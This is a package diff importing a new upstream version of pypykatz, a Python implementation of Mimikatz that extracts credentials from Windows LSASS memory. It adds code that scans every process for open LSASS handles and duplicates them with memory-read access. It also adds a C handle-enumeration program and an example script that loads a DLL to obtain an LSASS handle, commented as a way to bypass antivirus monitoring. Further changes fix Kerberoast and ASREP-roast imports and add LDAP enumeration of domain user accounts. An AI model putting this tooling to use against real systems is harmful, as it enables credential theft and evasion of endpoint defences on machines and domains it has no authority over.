Codebase list pypykatz / e4ceb07
Import upstream version 0.3.15+git20201116.f6f966a Kali Janitor 3 years ago
38 changed file(s) with 848 addition(s) and 461 deletion(s). Raw diff Collapse all Expand all
0 # Byte-compiled / optimized / DLL files
1 __pycache__/
2 *.py[cod]
3 *$py.class
4
5 # C extensions
6 *.so
7
8 # Distribution / packaging
9 .Python
10 build/
11 develop-eggs/
12 dist/
13 downloads/
14 eggs/
15 .eggs/
16 lib/
17 lib64/
18 parts/
19 sdist/
20 var/
21 wheels/
22 *.egg-info/
23 .installed.cfg
24 *.egg
25 MANIFEST
26
27 # PyInstaller
28 # Usually these files are written by a python script from a template
29 # before PyInstaller builds the exe, so as to inject date/other infos into it.
30 *.manifest
31 *.spec
32
33 # Installer logs
34 pip-log.txt
35 pip-delete-this-directory.txt
36
37 # Unit test / coverage reports
38 htmlcov/
39 .tox/
40 .coverage
41 .coverage.*
42 .cache
43 nosetests.xml
44 coverage.xml
45 *.cover
46 .hypothesis/
47 .pytest_cache/
48
49 # Translations
50 *.mo
51 *.pot
52
53 # Django stuff:
54 *.log
55 local_settings.py
56 db.sqlite3
57
58 # Flask stuff:
59 instance/
60 .webassets-cache
61
62 # Scrapy stuff:
63 .scrapy
64
65 # Sphinx documentation
66 docs/_build/
67
68 # PyBuilder
69 target/
70
71 # Jupyter Notebook
72 .ipynb_checkpoints
73
74 # pyenv
75 .python-version
76
77 # celery beat schedule file
78 celerybeat-schedule
79
80 # SageMath parsed files
81 *.sage.py
82
83 # Environments
84 .env
85 .venv
86 env/
87 venv/
88 ENV/
89 env.bak/
90 venv.bak/
91
92 # Spyder project settings
93 .spyderproject
94 .spyproject
95
96 # Rope project settings
97 .ropeproject
98
99 # mkdocs documentation
100 /site
101
102 # mypy
103 .mypy_cache/
104 *.reg
0 MIT License
1
2 Copyright (c) 2018
3
4 Permission is hereby granted, free of charge, to any person obtaining a copy
5 of this software and associated documentation files (the "Software"), to deal
6 in the Software without restriction, including without limitation the rights
7 to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
8 copies of the Software, and to permit persons to whom the Software is
9 furnished to do so, subject to the following conditions:
10
11 The above copyright notice and this permission notice shall be included in all
12 copies or substantial portions of the Software.
13
14 THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
15 IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
16 FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
17 AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
18 LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
19 OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
20 SOFTWARE.
0 include LICENSE README.md
0 clean:
1 rm -f -r build/
2 rm -f -r dist/
3 rm -f -r *.egg-info
4 find . -name '*.pyc' -exec rm -f {} +
5 find . -name '*.pyo' -exec rm -f {} +
6 find . -name '*~' -exec rm -f {} +
7
8 publish: clean
9 python3 setup.py sdist bdist_wheel
10 python3 -m twine upload dist/*
11
12 rebuild: clean
13 python3 setup.py install
14
15 build:
16 python3 setup.py install
+0
-14
PKG-INFO less more
0 Metadata-Version: 1.2
1 Name: pypykatz
2 Version: 0.3.7
3 Summary: Python implementation of Mimikatz
4 Home-page: https://github.com/skelsec/pypykatz
5 Author: Tamas Jos
6 Author-email: [email protected]
7 License: UNKNOWN
8 Description: UNKNOWN
9 Platform: UNKNOWN
10 Classifier: Programming Language :: Python :: 3.6
11 Classifier: License :: OSI Approved :: MIT License
12 Classifier: Operating System :: OS Independent
13 Requires-Python: >=3.6
8484
8585 dpapi_minidump_group = dpapi_subparsers.add_parser('minidump', help='Dump masterkeys from minidump file')
8686 dpapi_minidump_group.add_argument('minidumpfile', help='path to minidump file')
87 dpapi_minidump_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.')
88
8789
8890 dpapi_mastekey_group = dpapi_subparsers.add_parser('masterkey', help='Decrypt masterkey file')
8991 dpapi_mastekey_group.add_argument('mkf', help='path to masterkey file')
00
1 __version__ = "0.3.7"
1 __version__ = "0.3.15"
22 __banner__ = \
33 """
44 # pypyKatz %s
0
1 // https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/
2 #ifndef UNICODE
3 #define UNICODE
4 #endif
5
6 #include <windows.h>
7 #include <stdio.h>
8
9 #define NT_SUCCESS(x) ((x) >= 0)
10 #define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
11
12 #define SystemHandleInformation 16
13 #define ObjectBasicInformation 0
14 #define ObjectNameInformation 1
15 #define ObjectTypeInformation 2
16
17 typedef NTSTATUS (NTAPI *_NtQuerySystemInformation)(
18 ULONG SystemInformationClass,
19 PVOID SystemInformation,
20 ULONG SystemInformationLength,
21 PULONG ReturnLength
22 );
23 typedef NTSTATUS (NTAPI *_NtDuplicateObject)(
24 HANDLE SourceProcessHandle,
25 HANDLE SourceHandle,
26 HANDLE TargetProcessHandle,
27 PHANDLE TargetHandle,
28 ACCESS_MASK DesiredAccess,
29 ULONG Attributes,
30 ULONG Options
31 );
32 typedef NTSTATUS (NTAPI *_NtQueryObject)(
33 HANDLE ObjectHandle,
34 ULONG ObjectInformationClass,
35 PVOID ObjectInformation,
36 ULONG ObjectInformationLength,
37 PULONG ReturnLength
38 );
39
40 typedef struct _UNICODE_STRING {
41 USHORT Length;
42 USHORT MaximumLength;
43 PWSTR Buffer;
44 } UNICODE_STRING, *PUNICODE_STRING;
45
46 typedef struct _SYSTEM_HANDLE {
47 ULONG ProcessId;
48 BYTE ObjectTypeNumber;
49 BYTE Flags;
50 USHORT Handle;
51 PVOID Object;
52 ACCESS_MASK GrantedAccess;
53 } SYSTEM_HANDLE, *PSYSTEM_HANDLE;
54
55 typedef struct _SYSTEM_HANDLE_INFORMATION {
56 ULONG HandleCount;
57 SYSTEM_HANDLE Handles[1];
58 } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
59
60 typedef enum _POOL_TYPE {
61 NonPagedPool,
62 PagedPool,
63 NonPagedPoolMustSucceed,
64 DontUseThisType,
65 NonPagedPoolCacheAligned,
66 PagedPoolCacheAligned,
67 NonPagedPoolCacheAlignedMustS
68 } POOL_TYPE, *PPOOL_TYPE;
69
70 typedef struct _OBJECT_TYPE_INFORMATION {
71 UNICODE_STRING Name;
72 ULONG TotalNumberOfObjects;
73 ULONG TotalNumberOfHandles;
74 ULONG TotalPagedPoolUsage;
75 ULONG TotalNonPagedPoolUsage;
76 ULONG TotalNamePoolUsage;
77 ULONG TotalHandleTableUsage;
78 ULONG HighWaterNumberOfObjects;
79 ULONG HighWaterNumberOfHandles;
80 ULONG HighWaterPagedPoolUsage;
81 ULONG HighWaterNonPagedPoolUsage;
82 ULONG HighWaterNamePoolUsage;
83 ULONG HighWaterHandleTableUsage;
84 ULONG InvalidAttributes;
85 GENERIC_MAPPING GenericMapping;
86 ULONG ValidAccess;
87 BOOLEAN SecurityRequired;
88 BOOLEAN MaintainHandleCount;
89 USHORT MaintainTypeList;
90 POOL_TYPE PoolType;
91 ULONG PagedPoolUsage;
92 ULONG NonPagedPoolUsage;
93 } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
94
95 PVOID GetLibraryProcAddress(PSTR LibraryName, PSTR ProcName) {
96 return GetProcAddress(GetModuleHandleA(LibraryName), ProcName);
97 }
98
99 void ErrorExit(LPTSTR lpszFunction) {
100 // Retrieve the system error message for the last-error code
101
102 LPVOID lpMsgBuf;
103 LPVOID lpDisplayBuf;
104 DWORD dw = GetLastError();
105
106 FormatMessage(
107 FORMAT_MESSAGE_ALLOCATE_BUFFER |
108 FORMAT_MESSAGE_FROM_SYSTEM |
109 FORMAT_MESSAGE_IGNORE_INSERTS,
110 NULL,
111 dw,
112 MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
113 (LPTSTR) &lpMsgBuf,
114 0, NULL );
115
116 printf((LPTSTR) lpMsgBuf);
117
118 LocalFree(lpMsgBuf);
119 LocalFree(lpDisplayBuf);
120 ExitProcess(dw);
121 }
122
123 void ShowErr() {
124 CHAR errormsg[100];
125 FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), 0, errormsg, sizeof(errormsg), NULL);
126 printf("ERROR: %s", errormsg);
127 }
128
129 int wmain(int argc, WCHAR *argv[]) {
130
131 _NtQuerySystemInformation NtQuerySystemInformation = GetLibraryProcAddress("ntdll.dll", "NtQuerySystemInformation");
132 _NtDuplicateObject NtDuplicateObject = GetLibraryProcAddress("ntdll.dll", "NtDuplicateObject");
133 _NtQueryObject NtQueryObject = GetLibraryProcAddress("ntdll.dll", "NtQueryObject");
134
135 NTSTATUS status;
136 PSYSTEM_HANDLE_INFORMATION handleInfo;
137 ULONG handleInfoSize = 0x10000;
138 ULONG pid;
139 HANDLE processHandle;
140 ULONG i;
141
142 if (argc < 2) {
143 printf("Usage: handles [pid]\n");
144 return 1;
145 }
146
147 pid = _wtoi(argv[1]);
148
149 if (!(processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid))) {
150 printf("Could not open PID %d! (Don't try to open a system process.)\n", pid);
151 return 1;
152 }
153
154 handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
155
156 // NtQuerySystemInformation won't give us the correct buffer size,
157 // so we guess by doubling the buffer size.
158 while ((status = NtQuerySystemInformation(
159 SystemHandleInformation,
160 handleInfo,
161 handleInfoSize,
162 NULL
163 )) == STATUS_INFO_LENGTH_MISMATCH)
164 handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);
165
166 // NtQuerySystemInformation stopped giving us STATUS_INFO_LENGTH_MISMATCH.
167 if (!NT_SUCCESS(status)) {
168 printf("NtQuerySystemInformation failed!\n");
169 return 1;
170 }
171
172 for (i = 0; i < handleInfo->HandleCount; i++) {
173 SYSTEM_HANDLE handle = handleInfo->Handles[i];
174 HANDLE dupHandle = NULL;
175 POBJECT_TYPE_INFORMATION objectTypeInfo;
176 PVOID objectNameInfo;
177 UNICODE_STRING objectName;
178 ULONG returnLength;
179
180 // Check if this handle belongs to the PID the user specified.
181 if (handle.ProcessId != pid)
182 continue;
183
184 // Duplicate the handle so we can query it.
185 if (!NT_SUCCESS(NtDuplicateObject(
186 processHandle,
187 (void*) handle.Handle,
188 GetCurrentProcess(),
189 &dupHandle,
190 0,
191 0,
192 0
193 ))) {
194
195 printf("[%#x] Error!\n", handle.Handle);
196 continue;
197 }
198
199 // Query the object type.
200 objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
201 if (!NT_SUCCESS(NtQueryObject(
202 dupHandle,
203 ObjectTypeInformation,
204 objectTypeInfo,
205 0x1000,
206 NULL
207 ))) {
208
209 printf("[%#x] Error!\n", handle.Handle);
210 CloseHandle(dupHandle);
211 continue;
212 }
213
214 // Query the object name (unless it has an access of
215 // 0x0012019f, on which NtQueryObject could hang.
216 if (handle.GrantedAccess == 0x0012019f) {
217
218 // We have the type, so display that.
219 printf(
220 "[%#x] %.*S: (did not get name)\n",
221 handle.Handle,
222 objectTypeInfo->Name.Length / 2,
223 objectTypeInfo->Name.Buffer
224 );
225
226 free(objectTypeInfo);
227 CloseHandle(dupHandle);
228 continue;
229 }
230
231 objectNameInfo = malloc(0x1000);
232 if (!NT_SUCCESS(NtQueryObject(
233 dupHandle,
234 ObjectNameInformation,
235 objectNameInfo,
236 0x1000,
237 &returnLength
238 ))) {
239
240 // Reallocate the buffer and try again.
241 objectNameInfo = realloc(objectNameInfo, returnLength);
242 if (!NT_SUCCESS(NtQueryObject(
243 dupHandle,
244 ObjectNameInformation,
245 objectNameInfo,
246 returnLength,
247 NULL
248 ))) {
249
250 // We have the type name, so just display that.
251 printf(
252 "[%#x] %.*S: (could not get name)\n",
253 handle.Handle,
254 objectTypeInfo->Name.Length / 2,
255 objectTypeInfo->Name.Buffer
256 );
257
258 free(objectTypeInfo);
259 free(objectNameInfo);
260 CloseHandle(dupHandle);
261 continue;
262 }
263 }
264
265 // Cast our buffer into an UNICODE_STRING.
266 objectName = *(PUNICODE_STRING)objectNameInfo;
267
268 // Print the information!
269 if (objectName.Length)
270 {
271 // The object has a name.
272 printf(
273 "[%#x] %.*S: %.*S\n",
274 handle.Handle,
275 objectTypeInfo->Name.Length / 2,
276 objectTypeInfo->Name.Buffer,
277 objectName.Length / 2,
278 objectName.Buffer
279 );
280 }
281 else {
282 // Print something else.
283 printf(
284 "[%#x] %.*S: (unnamed)\n",
285 handle.Handle,
286 objectTypeInfo->Name.Length / 2,
287 objectTypeInfo->Name.Buffer
288 );
289 }
290
291 free(objectTypeInfo);
292 free(objectNameInfo);
293 CloseHandle(dupHandle);
294 }
295
296 free(handleInfo);
297 CloseHandle(processHandle);
298
299 return 0;
300 }
33 import enum
44 import logging
55
6 from .kernel32 import *
7 from .psapi import *
6 from pypykatz.commons.readers.local.common.kernel32 import *
7 from pypykatz.commons.readers.local.common.psapi import *
88
99 class WindowsMinBuild(enum.Enum):
1010 WIN_XP = 2500
4949
5050 PROCESS_QUERY_INFORMATION = 0x0400
5151 PROCESS_VM_READ = 0x0010
52 MAXIMUM_ALLOWED = 33554432
5253
5354
5455 #https://msdn.microsoft.com/en-us/library/windows/desktop/ms683217(v=vs.85).aspx
7475 if pid_to_name[pid].lower().find('lsass.exe') != -1:
7576 return pid
7677
77 raise Exception('Failed to find lsass.exe')
78 raise Exception('Failed to find lsass.exe')
79
292292
293293
294294 class LiveReader:
295 def __init__(self):
295 def __init__(self, lsass_process_handle = None):
296296 self.processor_architecture = None
297297 self.lsass_process_name = 'lsass.exe'
298 self.lsass_process_handle = None
298 self.lsass_process_handle = lsass_process_handle
299299 self.current_position = None
300300 self.BuildNumber = None
301301 self.modules = []
338338 buildnumber, t = winreg.QueryValueEx(key, 'CurrentBuildNumber')
339339 self.BuildNumber = int(buildnumber)
340340
341
342 logging.log(1, 'Searching for lsass.exe')
343 pid = get_lsass_pid()
344 logging.log(1, 'Lsass.exe found at PID %d' % pid)
345 logging.log(1, 'Opening lsass.exe')
346 self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
347341 if self.lsass_process_handle is None:
348 raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error()))
349
342 logging.log(1, 'Searching for lsass.exe')
343 pid = get_lsass_pid()
344 logging.log(1, 'Lsass.exe found at PID %d' % pid)
345 logging.log(1, 'Opening lsass.exe')
346 self.lsass_process_handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
347 if self.lsass_process_handle is None:
348 raise Exception('Failed to open lsass.exe Reason: %s' % WinError(get_last_error()))
349 else:
350 logging.debug('Using pre-defined handle')
350351 logging.log(1, 'Enumerating modules')
351352 module_handles = EnumProcessModules(self.lsass_process_handle)
352353 for module_handle in module_handles:
224224 t = cred.to_dict()
225225 if t['credtype'] != 'dpapi':
226226 if t['password'] is not None:
227 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
227 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password']), '']
228228 yield 0, x
229229 else:
230230 t = cred.to_dict()
205205 self.Data3 = WORD(reader).value
206206 self.Data4 = reader.read(8)
207207 self.value = '-'.join([
208 hex(self.Data1)[2:],
209 hex(self.Data2)[2:],
210 hex(self.Data3)[2:],
211 hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:],
212 hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:]
208 hex(self.Data1)[2:].zfill(8),
209 hex(self.Data2)[2:].zfill(4),
210 hex(self.Data3)[2:].zfill(4),
211 hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:].zfill(4),
212 hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:].zfill(12)
213213 ])
214214
215215 class PLIST_ENTRY(POINTER):
221221 self.location = reader.tell()
222222 self.Flink = PLIST_ENTRY(reader)
223223 self.Blink = PLIST_ENTRY(reader)
224
224
702702 ("MaximumLength", USHORT),
703703 ("Buffer", PVOID),
704704 ]
705
706 def getString(self):
707 return ctypes.string_at(self.Buffer, self.Length).decode('utf-16-le')
705708
706709 # From MSDN:
707710 #
6464 WRITE_WATCH_FLAG_RESET = 0x01
6565 FILE_MAP_ALL_ACCESS = 0xF001F
6666
67 PROCESS_DUP_HANDLE = 0x0040
68
6769 class UserModeHandle (HANDLE):
6870 """
6971 Base class for non-kernel handles. Generally this means they are closed
341343 _GetCurrentProcessId.argtypes = []
342344 _GetCurrentProcessId.restype = DWORD
343345 return _GetCurrentProcessId()
346
347 # HANDLE WINAPI GetCurrentProcess(void);
348 def GetCurrentProcess():
349 ## return 0xFFFFFFFFFFFFFFFFL
350 _GetCurrentProcess = windll.kernel32.GetCurrentProcess
351 _GetCurrentProcess.argtypes = []
352 _GetCurrentProcess.restype = HANDLE
353 return _GetCurrentProcess()
344354
345355 # BOOL WINAPI QueryFullProcessImageName(
346356 # __in HANDLE hProcess,
33 import enum
44 import logging
55
6 from pypykatz import logger
7 from .ntdll import *
68 from .kernel32 import *
79 from .psapi import *
810
7476 if pid_to_name[pid].lower().find('lsass.exe') != -1:
7577 return pid
7678
77 raise Exception('Failed to find lsass.exe')
79 raise Exception('Failed to find lsass.exe')
80
81 def enum_lsass_handles():
82 #searches for open LSASS process handles in all processes
83 # you should be having SE_DEBUG enabled at this point
84 RtlAdjustPrivilege(20)
85
86 lsass_handles = []
87 sysinfohandles = NtQuerySystemInformation(16)
88 for pid in sysinfohandles:
89 if pid == 4:
90 continue
91 #if pid != GetCurrentProcessId():
92 # continue
93 for syshandle in sysinfohandles[pid]:
94 #print(pid)
95 try:
96 pHandle = OpenProcess(PROCESS_DUP_HANDLE, False, pid)
97 except Exception as e:
98 logger.debug('Error opening process %s Reason: %s' % (pid, e))
99 continue
100
101 try:
102 dupHandle = NtDuplicateObject(pHandle, syshandle.Handle, GetCurrentProcess(), PROCESS_QUERY_INFORMATION|PROCESS_VM_READ)
103 #print(dupHandle)
104 except Exception as e:
105 logger.debug('Failed to duplicate object! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle)))
106 continue
107
108 oinfo = NtQueryObject(dupHandle, ObjectTypeInformation)
109 if oinfo.Name.getString() == 'Process':
110 try:
111 pname = QueryFullProcessImageNameW(dupHandle)
112 if pname.lower().find('lsass.exe') != -1:
113 logger.debug('Found open handle to lsass! PID: %s HANDLE: %s' % (pid, hex(syshandle.Handle)))
114 #print('%s : %s' % (pid, pname))
115 lsass_handles.append((pid, dupHandle))
116 except Exception as e:
117 logger.debug('Failed to obtain the path of the process! PID: %s' % pid)
118 continue
119
120 return lsass_handles
121
22 from ctypes import windll
33 from ctypes.wintypes import ULONG, BOOL,LONG
44
5 from .defines import *
5 from pypykatz.commons.winapi.local.function_defs.defines import *
6
7 SystemHandleInformation = 16
8 ObjectBasicInformation = 0
9 ObjectNameInformation = 1
10 ObjectTypeInformation = 2
11
12
13 POOL_TYPE = ctypes.c_int
14 NonPagedPool = 1
15 PagedPool = 2
16 NonPagedPoolMustSucceed = 3
17 DontUseThisType = 4
18 NonPagedPoolCacheAligned = 5
19 PagedPoolCacheAligned = 6
20 NonPagedPoolCacheAlignedMustS = 7
21
22 # https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-generic_mapping
23 class GENERIC_MAPPING(Structure):
24 _fields_ = [
25 ("GenericRead", ACCESS_MASK ),
26 ("GenericWrite", ACCESS_MASK ),
27 ("GenericExecute", ACCESS_MASK ),
28 ("GenericAll", ACCESS_MASK ),
29 ]
30
31 PGENERIC_MAPPING = POINTER(GENERIC_MAPPING)
32
33 class SYSTEM_HANDLE(Structure):
34 _fields_ = [
35 ("ProcessId", ULONG),
36 ("ObjectTypeNumber", BYTE),
37 ("Flags", BYTE),
38 ("Handle", USHORT),
39 ("Object", PVOID),
40 ("GrantedAccess", ACCESS_MASK),
41 ]
42
43 PSYSTEM_HANDLE = POINTER(SYSTEM_HANDLE)
44
45 #class SYSTEM_HANDLE_INFORMATION(Structure):
46 # _fields_ = [
47 # ("HandleCount", ULONG),
48 # ("Handles", SYSTEM_HANDLE), #not just one handle
49 # ]
50 #
51 #PSYSTEM_HANDLE_INFORMATION = POINTER(SYSTEM_HANDLE_INFORMATION)
52
53 class OBJECT_TYPE_INFORMATION(Structure):
54 _fields_ = [
55 ("Name", UNICODE_STRING),
56 ("TotalNumberOfObjects", ULONG),
57 ("TotalNumberOfHandles", ULONG),
58 ("TotalPagedPoolUsage", ULONG),
59 ("TotalNonPagedPoolUsage", ULONG),
60 ("TotalNamePoolUsage", ULONG),
61 ("TotalHandleTableUsage", ULONG),
62 ("HighWaterNumberOfObjects", ULONG),
63 ("HighWaterNumberOfHandles", ULONG),
64 ("HighWaterPagedPoolUsage", ULONG),
65 ("HighWaterNonPagedPoolUsage", ULONG),
66 ("HighWaterNamePoolUsage", ULONG),
67 ("HighWaterHandleTableUsage", ULONG),
68 ("GenericMapping", GENERIC_MAPPING),
69 ("ValidAccess", ULONG),
70 ("SecurityRequired", BOOLEAN),
71 ("MaintainHandleCount", BOOLEAN),
72 ("MaintainTypeList", USHORT),
73 ("PoolType", POOL_TYPE),
74 ("PagedPoolUsage", ULONG),
75 ("NonPagedPoolUsage", ULONG),
76 ]
77
78 POBJECT_TYPE_INFORMATION = POINTER(OBJECT_TYPE_INFORMATION)
79
680
781 # https://source.winehq.org/WineAPI/RtlAdjustPrivilege.html
882 # BOOL WINAPI RtlAdjustPrivilege(
27101 if status != 0:
28102 raise Exception('Failed call to RtlAdjustPrivilege! Status: %s' % status)
29103
30 return Enabled.value
104 return Enabled.value
105
106 # https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntquerysysteminformation
107 def NtQuerySystemInformation(info_type):
108 _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation
109 _NtQuerySystemInformation.argtypes = [ULONG, PVOID, ULONG, PULONG]
110 _NtQuerySystemInformation.restype = ULONG
111
112 handleinfos = {}
113
114 if info_type != 16:
115 raise Exception('info_type only the value 16 is supported!')
116
117 size = DWORD(0x10)
118 data = ctypes.create_string_buffer(size.value)
119 while True:
120 #_NtQuerySystemInformation returns an incorrect expected size...
121 size = DWORD(size.value*2)
122 data = ctypes.create_string_buffer(size.value)
123 status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size))
124 if status == 0:
125 break
126 if status != 0xC0000004:
127 raise Exception('NtQuerySystemInformation returned %s' % hex(status))
128
129 status = _NtQuerySystemInformation(info_type, ctypes.byref(data), size, ctypes.byref(size))
130
131 data_bytes = bytearray(data.raw[:size.value])
132
133 hc = ULONG.from_buffer(data_bytes)
134
135 class SYSTEM_HANDLE_INFORMATION(Structure):
136 _fields_ = [
137 ("HandleCount", ULONG),
138 ("Handles", SYSTEM_HANDLE*hc.value), #not just one handle
139 ]
140
141
142 syshandleinfo = SYSTEM_HANDLE_INFORMATION.from_buffer(data_bytes)
143
144 for i in range(syshandleinfo.HandleCount):
145 if not syshandleinfo.Handles[i].ProcessId in handleinfos:
146 handleinfos[syshandleinfo.Handles[i].ProcessId] = []
147 handleinfos[syshandleinfo.Handles[i].ProcessId].append(syshandleinfo.Handles[i])
148
149 return handleinfos
150
151
152 def NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, DesiredAccess = 0):
153 """
154 privilige_id: int
155 """
156 _NtDuplicateObject = windll.ntdll.NtDuplicateObject
157 _NtDuplicateObject.argtypes = [HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG]
158 _NtDuplicateObject.restype = ULONG
159
160
161
162 oHandle = HANDLE()
163 status = _NtDuplicateObject(SourceProcessHandle, SourceHandle, TargetProcessHandle, ctypes.byref(oHandle), DesiredAccess,0,0)
164 if status != 0:
165 raise Exception('Failed call to NtDuplicateObject! Status: %s' % status)
166
167 return oHandle
168
169 def NtQueryObject(ObjectHandle, ObjectInformationClass):
170 """
171 privilige_id: int
172 """
173 _NtQueryObject = windll.ntdll.NtQueryObject
174 _NtQueryObject.argtypes = [HANDLE, ULONG, PVOID, ULONG, PULONG]
175 _NtQueryObject.restype = ULONG
176
177 #if ObjectInformationClass not in [ObjectNameInformation, ObjectTypeInformation]:
178 if ObjectInformationClass != ObjectTypeInformation:
179 raise Exception('Unsupported ObjectInformationClass value %s.' % ObjectInformationClass )
180
181 size = ULONG(0x10)
182 oinfo_data = ctypes.create_string_buffer(size.value)
183
184 while True:
185 oinfo_data = ctypes.create_string_buffer(size.value)
186 status = _NtQueryObject(ObjectHandle, ObjectInformationClass, oinfo_data, size, ctypes.byref(size))
187 if status == 0xc0000004:
188 continue
189 if status != 0:
190 raise Exception('Failed call to NtDuplicateObject! Status: %s' % hex(status))
191
192 break
193
194 if ObjectInformationClass == ObjectNameInformation:
195 raise NotImplementedError('TODO: implement me when needed!')
196 elif ObjectInformationClass == ObjectTypeInformation:
197 oinfo = OBJECT_TYPE_INFORMATION.from_buffer(bytearray(oinfo_data.raw[:size.value]))
198
199 return oinfo
200
160160 nt_hash = bytes.fromhex(nt_hash)
161161 key1 = None
162162
163 if password:
163 if password or password == '':
164164 md4 = hashlib.new('md4')
165165 md4.update(password.encode('utf-16le'))
166166 nt_hash = md4.digest()
0
1 #
2 # In case you happen to have a DLL that has an export which returns a handle to LSASS process
3 # You can use this example to load such DLL via ctypes and call pypykatz using said handle
4 # Might be interesting to bypass AV monitoring openprocess on LSASS
5 #
6
7 from ctypes import windll, c_void_p
8 from pypykatz.pypykatz import pypykatz
9
10 dll_path = ''
11
12 def get_lsass_handle():
13 your_dll = windll.LoadLibrary(dll_path)
14 _your_function = your_dll.your_function
15 _your_function.argtypes = [] #I guess no args
16 _your_function.restype = c_void_p #this is basically a handle
17
18 phandle = _your_function()
19
20 return phandle
21
22
23 phandle = get_lsass_handle()
24 res = pypykatz.go_live_phandle(phandle)
25 print(str(res))
3636
3737 def run_live(self, args):
3838 from winsspi.sspi import KerberoastSSPI
39 from minikerberos.security import TGSTicket2hashcat, APREPRoast
40 from minikerberos.utils import TGTTicket2hashcat
41 from minikerberos.communication import KerberosSocket
42 from minikerberos.common import KerberosTarget
39 from minikerberos.common.utils import TGSTicket2hashcat, TGTTicket2hashcat
40 from minikerberos.security import APREPRoast
41 from minikerberos.network.clientsocket import KerberosClientSocket
42 from minikerberos.common.target import KerberosTarget
4343 from pypykatz.commons.winapi.machine import LiveMachine
4444
4545 if not args.target_file and not args.target_user:
112112 dcip = args.dc_ip
113113 if args.dc_ip is None:
114114 dcip = machine.get_domain()
115 ks = KerberosSocket( dcip )
115 ks = KerberosClientSocket( dcip )
116116 ar = APREPRoast(ks)
117117 results = ar.run(targets)
118118
4141
4242
4343 def run_live(self, args):
44 from msldap.core import MSLDAPCredential, MSLDAPTarget, MSLDAPConnection
45 from msldap.ldap_objects import MSADUser
46 from msldap import logger as msldaplogger
47 from pypykatz.commons.winapi.machine import LiveMachine
48
49 machine = LiveMachine()
50
51 if args.credential:
52 creds = MSLDAPCredential.from_connection_string(args.credential)
53 else:
54 creds = MSLDAPCredential.get_dummy_sspi()
55
56 if args.dc_ip:
57 target = MSLDAPTarget(args.dc_ip)
58 else:
59 target = MSLDAPTarget(machine.get_domain())
60
61 connection = MSLDAPConnection(creds, target)
62 connection.connect()
63
64 try:
65 adinfo = connection.get_ad_info()
66 domain = adinfo.distinguishedName.replace('DC=','').replace(',','.')
67 except Exception as e:
68 logging.warning('[LDAP] Failed to get domain name from LDAP server. This is not normal, but happens. Reason: %s' % e)
69 domain = machine.get_domain()
70
71 if args.cmd == 'spn':
72 logging.debug('Enumerating SPN user accounts...')
73 cnt = 0
74 if args.out_file:
75 with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f:
76 for user in connection.get_all_service_user_objects():
77 cnt += 1
78 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
79
80 else:
81 print('[+] SPN users')
82 for user in connection.get_all_service_user_objects():
83 cnt += 1
84 print('%s/%s' % (domain, user.sAMAccountName))
85
86 logging.debug('Enumerated %d SPN user accounts' % cnt)
87
88 elif args.cmd == 'asrep':
89 logging.debug('Enumerating ASREP user accounts...')
90 ctr = 0
91 if args.out_file:
92 with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f:
93 for user in connection.get_all_knoreq_user_objects():
94 ctr += 1
95 f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
96 else:
97 print('[+] ASREP users')
98 for user in connection.get_all_knoreq_user_objects():
99 ctr += 1
100 print('%s/%s' % (domain, user.sAMAccountName))
101
102 logging.debug('Enumerated %d ASREP user accounts' % ctr)
103
104 elif args.cmd == 'dump':
105 logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain')
106 ctr = 0
107 attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
108 if args.out_file:
109 with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f:
110 writer = csv.writer(f, delimiter = '\t')
111 writer.writerow(attrs)
112 for user in connection.get_all_user_objects():
113 ctr += 1
114 writer.writerow(user.get_row(attrs))
115
116 else:
117 logging.debug('Are you sure about this?')
118 print('[+] Full user dump')
119 print('\t'.join(attrs))
120 for user in connection.get_all_user_objects():
121 ctr += 1
122 print('\t'.join([str(x) for x in user.get_row(attrs)]))
